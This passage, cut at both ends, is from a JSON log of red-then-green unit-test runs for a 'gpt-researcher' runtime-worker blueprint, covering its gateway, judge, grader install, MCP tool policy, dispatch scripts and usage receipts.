(args={'content': 'ok', 'followSymlinks': True})\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 41, in test_model_cannot_execute_fetch_or_index_host_files\n with self.subTest(args=args), self.assertRaises(ValueError):\n ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^\nAssertionError: ValueError not raised\n\n======================================================================\nFAIL: test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (args={'content': 42})\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 41, in test_model_cannot_execute_fetch_or_index_host_files\n with self.subTest(args=args), self.assertRaises(ValueError):\n ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^\nAssertionError: ValueError not raised\n\n----------------------------------------------------------------------\nRan 1 test in 0.007s\n\nFAILED (failures=8, errors=1)\n", + "output_was_truncated": false + }, + { + "id": "security-green", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files -v", + "exit_code": 0, + "output": "test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.005s\n\nOK\n", + "output_was_truncated": false + }, + { + "id": "install-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_grader_install_refuses_builds_and_retains_upstream_lock -v", + "exit_code": 1, + "output": "test_grader_install_refuses_builds_and_retains_upstream_lock (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_grader_install_refuses_builds_and_retains_upstream_lock) ... FAIL\n\n======================================================================\nFAIL: test_grader_install_refuses_builds_and_retains_upstream_lock (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_grader_install_refuses_builds_and_retains_upstream_lock)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 39, in test_grader_install_refuses_builds_and_retains_upstream_lock\n self.assertIn(flag, command)\n ~~~~~~~~~~~~~^^^^^^^^^^^^^^^\nAssertionError: '--no-build' not found in 'UV_PROJECT_ENVIRONMENT=\"$prefix/grader-venv\" uv sync --locked --project \"$grader_source\" --python \"$python_bin\"'\n\n----------------------------------------------------------------------\nRan 1 test in 0.001s\n\nFAILED (failures=1)\n", + "output_was_truncated": false + }, + { + "id": "install-green", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_grader_install_refuses_builds_and_retains_upstream_lock -v", + "exit_code": 0, + "output": "test_grader_install_refuses_builds_and_retains_upstream_lock (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_grader_install_refuses_builds_and_retains_upstream_lock) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.000s\n\nOK\n", + "output_was_truncated": false + }, + { + "id": "worker-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_worker_uses_native_retry_without_websocket_and_arm_config -v", + "exit_code": 1, + "output": "test_worker_uses_native_retry_without_websocket_and_arm_config (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_worker_uses_native_retry_without_websocket_and_arm_config) ... ERROR\n\n======================================================================\nERROR: test_worker_uses_native_retry_without_websocket_and_arm_config (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_worker_uses_native_retry_without_websocket_and_arm_config)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 76, in test_worker_uses_native_retry_without_websocket_and_arm_config\n asyncio.run(runner.run(args, {}))\n ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^\n File \"/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/asyncio/runners.py\", line 196, in run\n return runner.run(main)\n ~~~~~~~~~~^^^^^^\n File \"/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/asyncio/runners.py\", line 119, in run\n return self._loop.run_until_complete(task)\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^\n File \"/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/asyncio/base_events.py\", line 726, in run_until_complete\n return future.result()\n ~~~~~~~~~~~~~^^\n File \"/blueprints/runtime-workers/gpt-researcher/e2e/run.py\", line 96, in run\n raise ValueError(\"required scoped MCP tools unavailable\")\nValueError: required scoped MCP tools unavailable\n\n----------------------------------------------------------------------\nRan 1 test in 0.022s\n\nFAILED (errors=1)\n{\"skills_at_start\": {\"listed_at_start\": [], \"activation_events\": [], \"status\": \"no SKILL.md loader found in pinned runtime; native inventory unavailable\"}}\n", + "output_was_truncated": false + }, + { + "id": "retry-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_worker_uses_native_retry_without_websocket_and_arm_config -v", + "exit_code": 1, + "output": "test_worker_uses_native_retry_without_websocket_and_arm_config (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_worker_uses_native_retry_without_websocket_and_arm_config) ... FAIL\n\n======================================================================\nFAIL: test_worker_uses_native_retry_without_websocket_and_arm_config (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_worker_uses_native_retry_without_websocket_and_arm_config)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 77, in test_worker_uses_native_retry_without_websocket_and_arm_config\n self.assertIsNone(constructed[0].get(\"websocket\"))\n ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: > is not None\n\n----------------------------------------------------------------------\nRan 1 test in 0.020s\n\nFAILED (failures=1)\n{\"skills_at_start\": {\"listed_at_start\": [], \"activation_events\": [], \"status\": \"no SKILL.md loader found in pinned runtime; native inventory unavailable\"}}\n", + "output_was_truncated": false + }, + { + "id": "worker-green", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_worker_uses_native_retry_without_websocket_and_arm_config -v", + "exit_code": 0, + "output": "test_worker_uses_native_retry_without_websocket_and_arm_config (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_worker_uses_native_retry_without_websocket_and_arm_config) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.020s\n\nOK\n{\"skills_at_start\": {\"listed_at_start\": [], \"activation_events\": [], \"status\": \"no SKILL.md loader found in pinned runtime; native inventory unavailable\"}}\n", + "output_was_truncated": false + }, + { + "id": "judge-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_judge_uses_documented_batch_budget_and_separate_session -v", + "exit_code": 1, + "output": "test_judge_uses_documented_batch_budget_and_separate_session (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_judge_uses_documented_batch_budget_and_separate_session) ... FAIL\n\n======================================================================\nFAIL: test_judge_uses_documented_batch_budget_and_separate_session (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_judge_uses_documented_batch_budget_and_separate_session)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 77, in test_judge_uses_documented_batch_budget_and_separate_session\n self.assertEqual(env[\"OPENAI_MAX_OUTPUT_TOKENS\"], \"32768\")\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: '12000' != '32768'\n- 12000\n+ 32768\n\n\n----------------------------------------------------------------------\nRan 1 test in 0.009s\n\nFAILED (failures=1)\n", + "output_was_truncated": false + }, + { + "id": "judge-green", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_judge_uses_documented_batch_budget_and_separate_session -v", + "exit_code": 0, + "output": "test_judge_uses_documented_batch_budget_and_separate_session (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_judge_uses_documented_batch_budget_and_separate_session) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.008s\n\nOK\n", + "output_was_truncated": false + }, + { + "id": "csv-existing-controls", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_read_grade_checks_native_csv_controls_and_artifact_bindings -v", + "exit_code": 0, + "output": "test_read_grade_checks_native_csv_controls_and_artifact_bindings (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_read_grade_checks_native_csv_controls_and_artifact_bindings) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.030s\n\nOK\n", + "output_was_truncated": false + }, + { + "id": "usage-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_captures_response_correlations_privately_for_worker_and_judge tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids -v", + "exit_code": 1, + "output": "test_gateway_captures_response_correlations_privately_for_worker_and_judge (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_captures_response_correlations_privately_for_worker_and_judge) ... ERROR\ntest_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids) ... ERROR\n\n======================================================================\nERROR: test_gateway_captures_response_correlations_privately_for_worker_and_judge (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_captures_response_correlations_privately_for_worker_and_judge)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 40, in test_gateway_captures_response_correlations_privately_for_worker_and_judge\n transport = gateway.GatewayTransport(\"worker\", correlation_log=path)\nTypeError: GatewayTransport.__init__() got an unexpected keyword argument 'correlation_log'\n\n======================================================================\nERROR: test_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 73, in test_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids\n rows = receipt.gateway_rows(db, \"2026-09-27T00:00:00Z\", \"2026-09-27T00:00:06Z\",\n \"sharedgw/gpt-6-astra-max\", correlation_ids={\"ours\", \"no-reasoning\"})\nTypeError: gateway_rows() got an unexpected keyword argument 'correlation_ids'\n\n----------------------------------------------------------------------\nRan 2 tests in 0.041s\n\nFAILED (errors=2)\n", + "output_was_truncated": false + }, + { + "id": "usage-green", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_captures_response_correlations_privately_for_worker_and_judge tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids -v", + "exit_code": 0, + "output": "test_gateway_captures_response_correlations_privately_for_worker_and_judge (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_captures_response_correlations_privately_for_worker_and_judge) ... ok\ntest_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids) ... ok\n\n----------------------------------------------------------------------\nRan 2 tests in 0.068s\n\nOK\n", + "output_was_truncated": false + }, + { + "id": "phase-receipt-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_receipt_records_separate_entry_gateways_phases_and_header_names -v", + "exit_code": 1, + "output": "test_receipt_records_separate_entry_gateways_phases_and_header_names (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_receipt_records_separate_entry_gateways_phases_and_header_names) ... ERROR\n\n======================================================================\nERROR: test_receipt_records_separate_entry_gateways_phases_and_header_names (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_receipt_records_separate_entry_gateways_phases_and_header_names)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 54, in test_receipt_records_separate_entry_gateways_phases_and_header_names\n result = receipt.write_receipt(root, phases[\"worker_started\"], phases[\"judge_ended\"], routes[\"worker\"][\"model\"],\n \"0.16.0\", routes=routes, phases=phases, engines_verified=True)\nTypeError: write_receipt() got an unexpected keyword argument 'routes'\n\n----------------------------------------------------------------------\nRan 1 test in 0.019s\n\nFAILED (errors=1)\n", + "output_was_truncated": false + }, + { + "id": "phase-receipt-green", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_receipt_records_separate_entry_gateways_phases_and_header_names -v", + "exit_code": 0, + "output": "test_receipt_records_separate_entry_gateways_phases_and_header_names (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_receipt_records_separate_entry_gateways_phases_and_header_names) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.019s\n\nOK\n", + "output_was_truncated": false + }, + { + "id": "dispatch-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_start_wait_result_preserves_setup_failure_handle tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_result_classes_do_not_invent_a_quality_threshold tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_cli_dispatch_runs_unchanged_native_main_with_guarded_transport -v", + "exit_code": 1, + "output": "test_dispatch_start_wait_result_preserves_setup_failure_handle (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_start_wait_result_preserves_setup_failure_handle) ... FAIL\ntest_dispatch_result_classes_do_not_invent_a_quality_threshold (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_result_classes_do_not_invent_a_quality_threshold) ... ERROR\ntest_cli_dispatch_runs_unchanged_native_main_with_guarded_transport (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_cli_dispatch_runs_unchanged_native_main_with_guarded_transport) ... ERROR\n\n======================================================================\nERROR: test_dispatch_result_classes_do_not_invent_a_quality_threshold (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_result_classes_do_not_invent_a_quality_threshold)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 64, in test_dispatch_result_classes_do_not_invent_a_quality_threshold\n dispatch = load(\"gptr_dispatch\", RECIPE / \"dispatch.py\")\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 33, in load\n spec.loader.exec_module(module)\n ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^\n File \"\", line 1019, in exec_module\n File \"\", line 1156, in get_code\n File \"\", line 1214, in get_data\nFileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/gpt-researcher/dispatch.py'\n\n======================================================================\nERROR: test_cli_dispatch_runs_unchanged_native_main_with_guarded_transport (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_cli_dispatch_runs_unchanged_native_main_with_guarded_transport)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 73, in test_cli_dispatch_runs_unchanged_native_main_with_guarded_transport\n cli = load(\"gptr_cli_runner\", RECIPE / \"cli_runner.py\")\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 33, in load\n spec.loader.exec_module(module)\n ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^\n File \"\", line 1019, in exec_module\n File \"\", line 1156, in get_code\n File \"\", line 1214, in get_data\nFileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/gpt-researcher/cli_runner.py'\n\n======================================================================\nFAIL: test_dispatch_start_wait_result_preserves_setup_failure_handle (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_start_wait_result_preserves_setup_failure_handle)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 48, in test_dispatch_start_wait_result_preserves_setup_failure_handle\n self.assertEqual(started.returncode, 0, started.stderr)\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: 127 != 0 : bash: /blueprints/runtime-workers/gpt-researcher/dispatch.sh: No such file or directory\n\n\n----------------------------------------------------------------------\nRan 3 tests in 0.005s\n\nFAILED (failures=1, errors=2)\n", + "output_was_truncated": false + }, + { + "id": "dispatch-green-attempt", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_start_wait_result_preserves_setup_failure_handle tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_result_classes_do_not_invent_a_quality_threshold tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_cli_dispatch_runs_unchanged_native_main_with_guarded_transport -v", + "exit_code": 0, + "output": "test_dispatch_start_wait_result_preserves_setup_failure_handle (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_start_wait_result_preserves_setup_failure_handle) ... ok\ntest_dispatch_result_classes_do_not_invent_a_quality_threshold (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_result_classes_do_not_invent_a_quality_threshold) ... ok\ntest_cli_dispatch_runs_unchanged_native_main_with_guarded_transport (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_cli_dispatch_runs_unchanged_native_main_with_guarded_transport) ... ok\n\n----------------------------------------------------------------------\nRan 3 tests in 0.224s\n\nOK\n", + "output_was_truncated": false + }, + { + "id": "e2e-dispatch-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_e2e_persists_disjoint_phases_and_uses_dispatch_handle -v", + "exit_code": 1, + "output": "test_e2e_persists_disjoint_phases_and_uses_dispatch_handle (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_e2e_persists_disjoint_phases_and_uses_dispatch_handle) ... usage: run.py [-h] --run-dir RUN_DIR --prefix PREFIX --host-file HOST_FILE\n --model MODEL --judge-model JUDGE_MODEL\nrun.py: error: unrecognized arguments: --base-url http://127.0.0.1:20129/v1\nERROR\n\n======================================================================\nERROR: test_e2e_persists_disjoint_phases_and_uses_dispatch_handle (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_e2e_persists_disjoint_phases_and_uses_dispatch_handle)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 55, in test_e2e_persists_disjoint_phases_and_uses_dispatch_handle\n self.assertEqual(runner.main(), 0)\n ~~~~~~~~~~~^^\n File \"/blueprints/runtime-workers/gpt-researcher/e2e/run.py\", line 112, in main\n args = parser.parse_args()\n File \"/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/argparse.py\", line 1930, in parse_args\n self.error(msg)\n ~~~~~~~~~~^^^^^\n File \"/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/argparse.py\", line 2686, in error\n self.exit(2, _('%(prog)s: error: %(message)s\\n') % args)\n ~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/argparse.py\", line 2673, in exit\n _sys.exit(status)\n ~~~~~~~~~^^^^^^^^\nSystemExit: 2\n\n----------------------------------------------------------------------\nRan 1 test in 0.025s\n\nFAILED (errors=1)\n", + "output_was_truncated": false + }, + { + "id": "e2e-dispatch-green", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_e2e_persists_disjoint_phases_and_uses_dispatch_handle -v", + "exit_code": 0, + "output": "test_e2e_persists_disjoint_phases_and_uses_dispatch_handle (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_e2e_persists_disjoint_phases_and_uses_dispatch_handle) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.204s\n\nOK\n", + "output_was_truncated": false + }, + { + "id": "suite-intermediate", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher -v", + "exit_code": 1, + "output": "test_arm_routes_are_explicit_and_judge_stays_on_control (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_arm_routes_are_explicit_and_judge_stays_on_control) ... ok\ntest_cli_dispatch_runs_unchanged_native_main_with_guarded_transport (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_cli_dispatch_runs_unchanged_native_main_with_guarded_transport) ... ok\ntest_dispatch_result_classes_do_not_invent_a_quality_threshold (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_result_classes_do_not_invent_a_quality_threshold) ... ok\ntest_dispatch_start_wait_result_preserves_setup_failure_handle (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_start_wait_result_preserves_setup_failure_handle) ... ok\ntest_e2e_persists_disjoint_phases_and_uses_dispatch_handle (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_e2e_persists_disjoint_phases_and_uses_dispatch_handle) ... ok\ntest_frozen_task_rejects_changed_bytes_and_recipe_wires_native_grader (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_frozen_task_rejects_changed_bytes_and_recipe_wires_native_grader) ... FAIL\ntest_gateway_captures_response_correlations_privately_for_worker_and_judge (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_captures_response_correlations_privately_for_worker_and_judge) ... ok\ntest_gateway_reader_uses_only_authorized_columns_and_is_read_only (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_reader_uses_only_authorized_columns_and_is_read_only) ... FAIL\ntest_gateway_transport_headers_and_strict_schema_controls (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_transport_headers_and_strict_schema_controls) ... ERROR\ntest_graded_report_binding_rejects_replaced_and_mismatched_exports (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_graded_report_binding_rejects_replaced_and_mismatched_exports) ... ok\ntest_grader_install_refuses_builds_and_retains_upstream_lock (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_grader_install_refuses_builds_and_retains_upstream_lock) ... ok\ntest_judge_uses_documented_batch_budget_and_separate_session (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_judge_uses_documented_batch_budget_and_separate_session) ... ok\ntest_mcp_policy_enforces_calls_and_collection_arguments (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_mcp_policy_enforces_calls_and_collection_arguments) ... ok\ntest_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) ... ok\ntest_read_grade_checks_native_csv_controls_and_artifact_bindings (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_read_grade_checks_native_csv_controls_and_artifact_bindings) ... ok\ntest_receipt_cannot_promote_report_sanity_to_quality_verdict (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_receipt_cannot_promote_report_sanity_to_quality_verdict) ... ok\ntest_receipt_records_separate_entry_gateways_phases_and_header_names (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_receipt_records_separate_entry_gateways_phases_and_header_names) ... ok\ntest_recipe_contract_and_empty_result (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_recipe_contract_and_empty_result) ... FAIL\ntest_report_transport_controls_do_not_grade_content (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) ... ok\ntest_skills_lifecycle_and_no_listener_recipe (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_skills_lifecycle_and_no_listener_recipe) ... ok\ntest_upstream_grade_controls_preserve_scores_and_reject_malformed_output (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_upstream_grade_controls_preserve_scores_and_reject_malformed_output) ... ok\ntest_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids) ... ok\ntest_worker_uses_native_retry_without_websocket_and_arm_config (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_worker_uses_native_retry_without_websocket_and_arm_config) ... ok\n{\"skills_at_start\": {\"listed_at_start\": [], \"activation_events\": [], \"status\": \"no SKILL.md loader found in pinned runtime; native inventory unavailable\"}}\n\n======================================================================\nERROR: test_gateway_transport_headers_and_strict_schema_controls (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_transport_headers_and_strict_schema_controls)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 577, in test_gateway_transport_headers_and_strict_schema_controls\n self.assertEqual(post(gateway.CHAT_URL, headers={\"Authorization\": \"Bearer local-loopback\"},\n ~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n json=payload, timeout=600, stream=False), \"native response\")\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/blueprints/runtime-workers/gpt-researcher/gateway.py\", line 162, in post\n self.response_hook(response)\n ~~~~~~~~~~~~~~~~~~^^^^^^^^^^\n File \"/blueprints/runtime-workers/gpt-researcher/gateway.py\", line 113, in response_hook\n correlation = response.headers.get(\"X-Correlation-Id\")\n ^^^^^^^^^^^^^^^^\nAttributeError: 'str' object has no attribute 'headers'\n\n======================================================================\nFAIL: test_frozen_task_rejects_changed_bytes_and_recipe_wires_native_grader (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_frozen_task_rejects_changed_bytes_and_recipe_wires_native_grader)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 608, in test_frozen_task_rejects_changed_bytes_and_recipe_wires_native_grader\n self.assertIn(\"${GPTR_JUDGE_MODEL:-cx/gpt-6-astra-max}\", runner)\n ~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: '${GPTR_JUDGE_MODEL:-cx/gpt-6-astra-max}' not found in '#!/usr/bin/env bash\\n# Same persistent contract as CLI dispatch. Pass GPTR_RUN_ID or --run-id.\\nset -euo pipefail\\numask 077\\nrecipe_dir=\"$(cd -- \"$(dirname -- \"${BASH_SOURCE[0]}\")\" && pwd)\"\\nexport PYTHONDONTWRITEBYTECODE=1\\nexec python3 \"$recipe_dir/dispatch.py\" run --mode e2e \"$@\"\\n'\n\n======================================================================\nFAIL: test_gateway_reader_uses_only_authorized_columns_and_is_read_only (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_reader_uses_only_authorized_columns_and_is_read_only)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 665, in test_gateway_reader_uses_only_authorized_columns_and_is_read_only\n self.assertEqual(rows[\"status\"], \"observed\")\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: 'unavailable' != 'observed'\n- unavailable\n+ observed\n\n\n======================================================================\nFAIL: test_recipe_contract_and_empty_result 